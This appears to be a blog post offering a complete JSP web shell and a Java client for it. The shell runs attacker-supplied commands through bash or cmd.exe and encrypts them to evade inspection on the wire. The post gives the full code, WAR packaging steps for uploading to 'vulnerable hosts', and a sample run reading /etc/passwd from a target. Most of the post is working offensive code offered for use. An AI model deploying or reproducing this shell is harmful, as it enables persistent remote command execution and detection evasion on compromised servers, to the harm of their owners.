So I wanted a JSP shell which would make it a little bit harder to get the executed commands by sniffing the wire, here is a quick and dirty example of such a shell. I might improve it and also encrypt the server response and maybe implement some signed diffie-hellman to agree on the key to use for encryption. For the moment being this works just fine, as said this was a quick hack so dirty code all over the place.
Functions:
- Simple OS detection linux/windows, selects the correct underlying shell accordingly
- Commands shouldn’t break when using pipes and it displays the error stream also(can be inconvenient)
- Basic (possibly flawed) AES 128bit encryption of the commands you send
- Option to work without encryption
Here is the JSP part:
<%-- Simple JSP shell, Simple os detection & prolly flawed encrypted commands Author: https://diablohorn.wordpress.com Borrowed and modified code from the following sources: http://www.javaworld.com/javaworld/jw-12-2000/jw-1229-traps.html?page=4 http://stackoverflow.com/questions/992019/java-256bit-aes-encryption http://java.sun.com/developer/technicalArticles/Security/AES/AES_v1.html --%> <%@page import="java.util.*,java.io.*,java.security.AlgorithmParameters,java.security.spec.KeySpec,javax.crypto.Cipher,javax.crypto.SecretKey,javax.crypto.SecretKeyFactory,javax.crypto.spec.IvParameterSpec,javax.crypto.spec.PBEKeySpec,javax.crypto.spec.SecretKeySpec"%> <%! public byte[] hexStringToByteArray(String s) { int len = s.length(); byte[] data = new byte[len / 2]; for (int i = 0; i < len; i += 2) { data[i / 2] = (byte) ((Character.digit(s.charAt(i), 16) << 4) + Character.digit(s.charAt(i+1), 16)); } return data; } %> <%! /** decrypt */ public String cmdDecrypt(String cmd,String iv){ try{ char[] password = {'t','e','s','t'}; byte[] salt = {'s','a','l','t','w','e','a','k'}; SecretKeyFactory factory = SecretKeyFactory.getInstance("PBKDF2WithHmacSHA1"); KeySpec spec = new PBEKeySpec(password, salt, 1024, 128); SecretKey tmp = factory.generateSecret(spec); SecretKey secret = new SecretKeySpec(tmp.getEncoded(), "AES"); Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding"); cipher.init(Cipher.DECRYPT_MODE, secret, new IvParameterSpec(hexStringToByteArray(iv))); String plaintext = new String(cipher.doFinal(hexStringToByteArray(cmd))); return plaintext; } catch(Exception e){ return null; } } %> <% String temp = request.getParameter("t"); String i = request.getParameter("i"); String ce = request.getParameter("e"); String cmd2exec = new String(); if(ce == null){ cmd2exec = cmdDecrypt(temp,i); if( cmd2exec == null){ out.println("error"); return; } }else{ cmd2exec = temp; } try { String osName = System.getProperty("os.name" ); out.println(osName); String[] cmd = new String[3]; if( osName.toLowerCase().contains("windows")) { cmd[0] = "cmd.exe" ; cmd[1] = "/C" ; cmd[2] = cmd2exec; } else if( osName.toLowerCase().contains("linux")) { cmd[0] = "/bin/bash" ; cmd[1] = "-c" ; cmd[2] = cmd2exec; }else{ cmd[0] = cmd2exec; } Runtime rt = Runtime.getRuntime(); Process proc = rt.exec(cmd); try { InputStreamReader iser = new InputStreamReader(proc.getErrorStream()); InputStreamReader isir = new InputStreamReader(proc.getInputStream()); BufferedReader ber = new BufferedReader(iser); BufferedReader bir = new BufferedReader(isir); String errline=null; String inpline=null; while ( (inpline = bir.readLine()) != null) out.println(inpline); while ( (errline = ber.readLine()) != null) out.println(errline); } catch (IOException ioe) { ioe.printStackTrace(); } int exitVal = proc.waitFor(); out.println("ExitValue: " + exitVal); } catch (Exception e) { e.printStackTrace(); } %>
The downside however is that you need some kind of client to send the commands to the shell, so here is the client part:
import java.io.*; import java.net.*; import java.security.AlgorithmParameters; import java.security.spec.KeySpec; import javax.crypto.Cipher; import javax.crypto.SecretKey; import javax.crypto.SecretKeyFactory; import javax.crypto.spec.IvParameterSpec; import javax.crypto.spec.PBEKeySpec; import javax.crypto.spec.SecretKeySpec; /** * Simple JSP shell, Simple os detection & prolly flawed encrypted commands * Author: https://diablohorn.wordpress.com * Borrowed and modified code from the following sources: * http://www.javaworld.com/javaworld/jw-12-2000/jw-1229-traps.html?page=4 * http://stackoverflow.com/questions/992019/java-256bit-aes-encryption * http://java.sun.com/developer/technicalArticles/Security/AES/AES_v1.html * http://www.devdaily.com/java/edu/pj/pj010011 */ public class Main { /** * Turns array of bytes into string * * @param buf Array of bytes to convert to hex string * @return Generated hex string */ public static String asHex(byte buf[]) { StringBuffer strbuf = new StringBuffer(buf.length * 2); int i; for (i = 0; i < buf.length; i++) { if (((int) buf[i] & 0xff) < 0x10) { strbuf.append("0"); } strbuf.append(Long.toString((int) buf[i] & 0xff, 16)); } return strbuf.toString(); } public static void main(String[] args) { try{ URL u; InputStream is = null; DataInputStream dis; String s; char[] password = {'t','e','s','t'}; byte[] salt = {'s','a','l','t','w','e','a','k'}; SecretKeyFactory factory = SecretKeyFactory.getInstance("PBKDF2WithHmacSHA1"); KeySpec spec = new PBEKeySpec(password, salt, 1024, 128); SecretKey tmp = factory.generateSecret(spec); SecretKey secret = new SecretKeySpec(tmp.getEncoded(), "AES"); Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding"); cipher.init(Cipher.ENCRYPT_MODE, secret); AlgorithmParameters params = cipher.getParameters(); byte[] iv = params.getParameterSpec(IvParameterSpec.class).getIV(); System.out.println("pcmd:" + args[1]); byte[] ciphertext = cipher.doFinal(args[1].getBytes()); System.out.println("iv:" + Main.asHex(iv)); System.out.println("ecmd:" + Main.asHex(ciphertext)); u = new URL(args[0] + "?t=" + Main.asHex(ciphertext) + "&i=" + Main.asHex(iv)); System.out.println("url:"+u); is = u.openStream(); dis = new DataInputStream(new BufferedInputStream(is)); while ((s = dis.readLine()) != null) { System.out.println(s); } }catch(Exception e){ System.out.println(e); } } }
To use the JSP you need to package it inside a WAR file before you can deploy it on a tomcat or jboss for example. Just create the following directory structure(assuming you put the shell inside “index.jsp”):
. js (you can choose another name)
.. index.jsp
.. WEB-INF
… web.xml
Then just put the following bash code in a file and chmod +x it:
#!/bin/bash
rm js.war
jar cvf js.war -C js .
That should create a js.war, in the same directory, that you can use to upload to vulnerable hosts. If you are paying attention you’ll be like “What goes inside the web.xml?”, put the following inside it:
<?xml version=”1.0″ encoding=”ISO-8859-1″?>
<web-app>
</web-app>
That’s all, the war file should deploy correctly and the client should be able to talk to it. If something fails you can always try to talk to it with your browser using unencrypted commands, just append the “e” parameter and assign something to it.
The client can be easily compiled, just put the code inside a Main.java file and then go like:
javac Main.java
You can then use the client like:
java Main http://10.0.0.13:8080/js/ “cat /etc/passwd | grep -i root”
If all works out the output will be similar to this one:
java Main http://10.0.0.13:8080/js/ “cat /etc/passwd | grep -i root”
pcmd:cat /etc/passwd | grep -i root
iv:cdead18f16660525fcdafd74fef703dc
ecmd:796eaf2f7fb82907533472141051f17ff1f5b08dfe05cc7f6992c92f9d45f931
url:http://10.0.0.13:8080/js/?t=796eaf2f7fb82907533472141051f17ff1f5b08dfe05cc7f6992c92f9d45f931&i=cdead18f16660525fcdafd74fef703dcLinux
root:x:0:0:root:/root:/bin/bash
ExitValue: 0
Don’t forget to change default passwords, salts, names and to review the code for possible bugs, if you are planning on using this for your own fun. Read the code if something doesn’t work and improve upon it :)